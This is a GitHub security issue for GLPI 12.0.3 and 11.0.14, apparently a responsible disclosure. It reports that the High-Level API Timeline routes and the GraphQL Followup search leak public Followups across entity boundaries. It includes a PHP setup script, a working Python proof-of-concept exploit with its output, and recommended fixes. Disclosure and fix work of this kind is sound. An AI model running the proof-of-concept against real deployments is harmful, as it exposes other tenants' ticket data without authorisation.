Skip to content

[Security] High-Level API timeline and Followup search return public Followups from entities the user can't read #26595

Backlog

Description

@DicksonWu654

A Technician assigned to one entity can read public Followups on Tickets, Changes and Problems in another entity through the High-Level API. The parent record itself returns 404 to that user, but its timeline and a Followup search still return the Followup content.

Severity: Low, CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Setup

  • Affected: GLPI 12.0.3 (glpi/glpi:12.0.3@sha256:6d553bd7d991ada792afde04bcd9ff8617f0483bc4c7dd87666e708dc5f501c2, source c92e56d5) and GLPI 11.0.14 (glpi/glpi:11.0.14@sha256:013ef7bef646f2d0ae716f0744c53f393a6b427acbbaee202106ead667610bd6, source 6798f6d1). Database: mariadb:11.8. No plugins.
  • Attacker: an authenticated standard-interface user with the Technician profile, assigned to entity A only (not recursive), with no assignment to entity B.
  • Settings changed from a clean install:
    • enable_api 0 -> 1 and enable_hlapi 0 -> 1, because both APIs are off by default.
    • A new confidential OAuth client with the password grant and the api and graphql scopes, because a clean install has no OAuth client.
    • Two entities, A and B, under the root entity. Entity B gets a Ticket, a Change and a Problem, each with one public Followup. Entity A gets the same set as a control.
    • Technician profile: Ticket, Change and Problem rights narrowed from the default mask to READALL only, and Followup rights narrowed to SEEPUBLIC only. The default Technician already has both; I removed the rest to show that these two are all the attacker needs.
    • A test user with the Technician profile on entity A, is_recursive 0.
  • No PHP or web server overrides.

Description

The routes under /Assistance/{itemtype}/{id}/Timeline load the parent in CRUDRequestMiddleware with getFromDB() only, without a read check on that record (12.0.3, 11.0.14). getITILTimelineItems() then checks only the class-level canView() of each subitem type and scopes the search to the parent ID and is_private==0. It never checks whether the caller can read that parent (12.0.3, 11.0.14).

The Followup schema's read condition only hides private Followups and doesn't restrict them to parents the caller can see (12.0.3, 11.0.14). Search::addReadRestrictCriteria() applies only that condition (12.0.3, 11.0.14), so a GraphQL Followup search filtered on another entity's parent also returns its public Followups.

Boundary crossed: entity scope. The user can't open the Ticket, Change or Problem (GET returns 404), but can read the public Followups on it. I didn't get private Followups or any parent fields through these paths.

Exploit Scenario

  1. Start MariaDB and glpi/glpi:12.0.3 (or 11.0.14) with the official image's GLPI_DB_* variables and wait for the install to finish.
  2. As the default administrator, enable the REST and High-Level APIs, create the OAuth client, both entities, the records with public Followups and the Technician user described above. The attached setup-data.php does exactly this inside the container (docker exec <app> php /tmp/setup-data.php, with the user's password in GLPI_TECH_PASSWORD).
  3. As the Technician, get a token: POST /api.php/token with grant_type=password and scope=api graphql.
  4. GET /api.php/v2.3/Assistance/Ticket/<entity B ticket id> returns 404.
  5. These all return entity B's public Followup content:
    • GET /api.php/v2.3/Assistance/Ticket/<id>/Timeline
    • GET /api.php/v2.3/Assistance/Ticket/<id>/Timeline/Followup
    • GET /api.php/v2.3/Assistance/Ticket/<id>/Timeline/Followup/<followup id>
    • POST /api.php/v2.3/GraphQL with query { Followup(filter: "itemtype==Ticket;items_id==<id>") { content } }
  6. Change and Problem behave the same. Entity A's records return 200 with their Followups as expected.

poc.py runs steps 3 to 6 for all three parent types in both entities. It takes a JSON state file with base_url, version, glpi_digest, and the setup-data.php output. Output from my run on clean official images:

GLPI=12.0.3 image_digest=glpi/glpi@sha256:6d553bd7d991ada792afde04bcd9ff8617f0483bc4c7dd87666e708dc5f501c2
tenant=A type=Ticket endpoint=parent status=200 markers=[]
tenant=A type=Ticket endpoint=full_timeline status=200 markers=['PUBLIC_FOLLOWUP_A_Ticket_MARKER']
tenant=A type=Ticket endpoint=typed_followups status=200 markers=['PUBLIC_FOLLOWUP_A_Ticket_MARKER']
tenant=A type=Ticket endpoint=single_followup status=200 markers=['PUBLIC_FOLLOWUP_A_Ticket_MARKER']
tenant=A type=Ticket endpoint=graphql_followups status=200 markers=['PUBLIC_FOLLOWUP_A_Ticket_MARKER']
tenant=B type=Ticket endpoint=parent status=404 markers=[]
tenant=B type=Ticket endpoint=full_timeline status=200 markers=['PUBLIC_FOLLOWUP_B_Ticket_MARKER']
tenant=B type=Ticket endpoint=typed_followups status=200 markers=['PUBLIC_FOLLOWUP_B_Ticket_MARKER']
tenant=B type=Ticket endpoint=single_followup status=200 markers=['PUBLIC_FOLLOWUP_B_Ticket_MARKER']
tenant=B type=Ticket endpoint=graphql_followups status=200 markers=['PUBLIC_FOLLOWUP_B_Ticket_MARKER']
tenant=B type=Change endpoint=parent status=404 markers=[]
tenant=B type=Change endpoint=full_timeline status=200 markers=['PUBLIC_FOLLOWUP_B_Change_MARKER']
tenant=B type=Change endpoint=typed_followups status=200 markers=['PUBLIC_FOLLOWUP_B_Change_MARKER']
tenant=B type=Change endpoint=single_followup status=200 markers=['PUBLIC_FOLLOWUP_B_Change_MARKER']
tenant=B type=Change endpoint=graphql_followups status=200 markers=['PUBLIC_FOLLOWUP_B_Change_MARKER']
tenant=B type=Problem endpoint=parent status=404 markers=[]
tenant=B type=Problem endpoint=full_timeline status=200 markers=['PUBLIC_FOLLOWUP_B_Problem_MARKER']
tenant=B type=Problem endpoint=typed_followups status=200 markers=['PUBLIC_FOLLOWUP_B_Problem_MARKER']
tenant=B type=Problem endpoint=single_followup status=200 markers=['PUBLIC_FOLLOWUP_B_Problem_MARKER']
tenant=B type=Problem endpoint=graphql_followups status=200 markers=['PUBLIC_FOLLOWUP_B_Problem_MARKER']

11.0.14 gave the same results for every request.

Recommendation

  • Check $item->can($item->getID(), READ) on the parent before getITILTimelineItems() returns anything, and return 404 from the single-item Timeline routes when that check fails.
  • Restrict Followup searches to parents the caller can read, for example by adding the Ticket, Change and Problem visibility and read criteria as a subquery on itemtype and items_id. That way REST and GraphQL share the same entity boundary.
  • Public Followups stay visible whenever the caller can read their parent.

I tested a change along these lines on both releases. Entity B's timelines and GraphQL searches came back empty and the single Followup returned 404, while entity A's controls still returned 200 with their Followups. Reverting it brought entity B's Followups back.

setup-data.php
<?php

require '/var/www/glpi/vendor/autoload.php';
$kernel = new \Glpi\Kernel\Kernel();
$kernel->boot();

Session::start();
$admin = new User();
if (!$admin->getFromDBByCrit(['name' => 'glpi'])) {
    throw new RuntimeException('The default administrator account was not found.');
}
$auth = new Auth();
$auth->user = $admin;
$auth->auth_succeded = true;
Session::init($auth);

Config::setConfigurationValues('core', [
    'enable_api' => 1,
    'enable_hlapi' => 1,
]);

$entity_a = new Entity();
$entity_a_id = $entity_a->add([
    'name' => 'Tenant Scope A',
    'entities_id' => 0,
]);
$entity_b = new Entity();
$entity_b_id = $entity_b->add([
    'name' => 'Tenant Scope B',
    'entities_id' => 0,
]);
if (!$entity_a_id || !$entity_b_id) {
    throw new RuntimeException('Could not create the test entities.');
}

$profile = new Profile();
if (!$profile->getFromDBByCrit(['name' => 'Technician'])) {
    throw new RuntimeException('Could not find the Technician profile.');
}
$profile_id = $profile->getID();
foreach ([Ticket::class, Change::class, Problem::class] as $itemtype) {
    $right = new ProfileRight();
    if (!$right->getFromDBByCrit([
        'profiles_id' => $profile_id,
        'name' => $itemtype::$rightname,
    ])) {
        throw new RuntimeException("Could not find {$itemtype} profile rights.");
    }
    if (!$right->update([
        'id' => $right->getID(),
        'rights' => CommonITILObject::READALL,
    ])) {
        throw new RuntimeException("Could not update {$itemtype} profile rights.");
    }
}
$right = new ProfileRight();
if (!$right->getFromDBByCrit([
    'profiles_id' => $profile_id,
    'name' => ITILFollowup::$rightname,
])) {
    throw new RuntimeException('Could not find Followup profile rights.');
}
if (!$right->update([
    'id' => $right->getID(),
    'rights' => ITILFollowup::SEEPUBLIC,
])) {
    throw new RuntimeException('Could not update Followup profile rights.');
}

$tech_password = getenv('GLPI_TECH_PASSWORD');
if (!is_string($tech_password) || strlen($tech_password) < 24) {
    throw new RuntimeException('A random technician password is required.');
}
$tech = new User();
$tech_id = $tech->add([
    'name' => 'tenant_technician',
    'firstname' => 'Tenant',
    'realname' => 'Technician',
    'password' => $tech_password,
    'password2' => $tech_password,
    'is_active' => 1,
    '_profiles_id' => $profile_id,
    '_entities_id' => $entity_a_id,
    '_is_recursive' => 0,
]);
if (!$tech_id) {
    throw new RuntimeException('Could not create the Technician account.');
}

$client = new OAuthClient();
$client_id = $client->add([
    'name' => 'Tenant scope reproduction',
    'grants' => ['password'],
    'scopes' => ['api', 'graphql'],
    'is_active' => 1,
    'is_confidential' => 1,
]);
if (!$client_id || !$client->getFromDB($client_id)) {
    throw new RuntimeException('Could not create the OAuth client.');
}
$client_secret = (new GLPIKey())->decrypt($client->fields['secret']);

$items = [];
foreach ([Ticket::class, Change::class, Problem::class] as $itemtype) {
    $type = $itemtype::getType();
    foreach (['A' => $entity_a_id, 'B' => $entity_b_id] as $tenant => $entity_id) {
        $parent = new $itemtype();
        $parent_id = $parent->add([
            'name' => "Tenant scope {$tenant} {$type}",
            'content' => "Tenant scope parent {$tenant} {$type}",
            'entities_id' => $entity_id,
            'status' => 1,
        ]);
        if (!$parent_id) {
            throw new RuntimeException("Could not create {$tenant} {$type}.");
        }
        $marker = "PUBLIC_FOLLOWUP_{$tenant}_{$type}_MARKER";
        $followup = new ITILFollowup();
        $followup_id = $followup->add([
            'itemtype' => $type,
            'items_id' => $parent_id,
            'content' => $marker,
            'is_private' => 0,
        ]);
        if (!$followup_id) {
            throw new RuntimeException("Could not create {$tenant} {$type} Followup.");
        }
        $items[$type][$tenant] = [
            'parent_id' => $parent_id,
            'followup_id' => $followup_id,
            'marker' => $marker,
        ];
    }
}

echo json_encode([
    'username' => 'tenant_technician',
    'password' => $tech_password,
    'client_id' => $client->fields['identifier'],
    'client_secret' => $client_secret,
    'items' => $items,
], JSON_THROW_ON_ERROR);
poc.py
#!/usr/bin/env python3

import argparse
import json
import pathlib
import re
import sys
import urllib.error
import urllib.request


def request(url, method='GET', token=None, body=None):
    headers = {'Accept': 'application/json'}
    data = None
    if body is not None:
        headers['Content-Type'] = 'application/json'
        data = json.dumps(body).encode()
    if token is not None:
        headers['Authorization'] = f'Bearer {token}'
    req = urllib.request.Request(url, data=data, headers=headers, method=method)
    try:
        with urllib.request.build_opener(urllib.request.ProxyHandler({})).open(req, timeout=15) as response:
            raw = response.read()
            status = response.status
    except urllib.error.HTTPError as error:
        raw = error.read()
        status = error.code
    try:
        value = json.loads(raw)
    except (json.JSONDecodeError, UnicodeDecodeError):
        value = raw.decode(errors='replace')
    return status, value


def strings(value):
    if isinstance(value, str):
        yield value
    elif isinstance(value, list):
        for entry in value:
            yield from strings(entry)
    elif isinstance(value, dict):
        for entry in value.values():
            yield from strings(entry)


def markers(value):
    text = '\n'.join(strings(value))
    return sorted(set(re.findall(r'PUBLIC_FOLLOWUP_[AB]_(?:Ticket|Change|Problem)_MARKER', text)))


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('state_file', type=pathlib.Path)
    parser.add_argument('--expect', choices=['any', 'vulnerable', 'fixed'], default='any')
    args = parser.parse_args()
    state = json.loads(args.state_file.read_text())
    root = state['base_url'].rstrip('/') + '/api.php/v2.3'
    status, token_data = request(
        state['base_url'].rstrip('/') + '/api.php/token',
        method='POST',
        body={
            'grant_type': 'password',
            'client_id': state['client_id'],
            'client_secret': state['client_secret'],
            'username': state['username'],
            'password': state['password'],
            'scope': 'api graphql',
        },
    )
    if status != 200 or not isinstance(token_data, dict) or 'access_token' not in token_data:
        print(f'OAUTH_TOKEN status={status} body={json.dumps(token_data, sort_keys=True)}')
        return 1
    token = token_data['access_token']
    print(f"GLPI={state['version']} image_digest={state['glpi_digest']}")
    print(f"OAuth password grant status={status}; granted_scope={token_data.get('scope', '')}")
    vulnerable_markers = []
    failures = []
    for itemtype, tenants in state['items'].items():
        for tenant in ['A', 'B']:
            item = tenants[tenant]
            base = f"{root}/Assistance/{itemtype}/{item['parent_id']}"
            calls = [
                ('parent', f'{base}'),
                ('full_timeline', f'{base}/Timeline'),
                ('typed_followups', f'{base}/Timeline/Followup'),
                ('single_followup', f"{base}/Timeline/Followup/{item['followup_id']}"),
            ]
            for name, url in calls:
                call_status, result = request(url, token=token)
                got = markers(result)
                print(f"tenant={tenant} type={itemtype} endpoint={name} status={call_status} markers={got}")
                if tenant == 'A':
                    if call_status != 200:
                        failures.append(f'{tenant} {itemtype} {name}: expected HTTP 200, got {call_status}')
                    if name != 'parent' and item['marker'] not in got:
                        failures.append(f'{tenant} {itemtype} {name}: expected its followup marker')
                elif name == 'parent':
                    if call_status != 404:
                        failures.append(f'{tenant} {itemtype} {name}: expected HTTP 404, got {call_status}')
                elif args.expect == 'vulnerable':
                    if call_status != 200 or item['marker'] not in got:
                        failures.append(f'{tenant} {itemtype} {name}: expected HTTP 200 with its followup marker')
                    vulnerable_markers.extend(got)
                else:
                    if name == 'single_followup':
                        if call_status not in (200, 404) or got:
                            failures.append(f'{tenant} {itemtype} {name}: expected HTTP 404 or an empty HTTP 200 result')
                    elif call_status != 200 or got:
                        failures.append(f'{tenant} {itemtype} {name}: expected HTTP 200 without markers')
            query = f'query {{ Followup(filter: "itemtype=={itemtype};items_id=={item["parent_id"]}") {{ content }} }}'
            call_status, result = request(f'{root}/GraphQL', method='POST', token=token, body={'query': query})
            got = markers(result)
            print(f"tenant={tenant} type={itemtype} endpoint=graphql_followups status={call_status} markers={got}")
            if tenant == 'A':
                if call_status != 200 or item['marker'] not in got:
                    failures.append(f'{tenant} {itemtype} graphql_followups: expected HTTP 200 with its followup marker')
            elif args.expect == 'vulnerable':
                if call_status != 200 or item['marker'] not in got:
                    failures.append(f'{tenant} {itemtype} graphql_followups: expected HTTP 200 with its followup marker')
                vulnerable_markers.extend(got)
            elif call_status != 200 or got:
                failures.append(f'{tenant} {itemtype} graphql_followups: expected HTTP 200 without markers')
    for failure in failures:
        print(f'ASSERTION FAILED: {failure}')
    if failures:
        return 1
    if args.expect == 'vulnerable' and not vulnerable_markers:
        print('Expected a cross-entity followup marker, but none was returned.')
        return 1
    if args.expect == 'fixed' and vulnerable_markers:
        print('Unexpected cross-entity followup markers were returned.')
        return 1
    print(f"foreign_followup_markers={sorted(set(vulnerable_markers))}")
    return 0


if __name__ == '__main__':
    sys.exit(main())

Reported by Dickson Wu (SEAL & CertiK).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions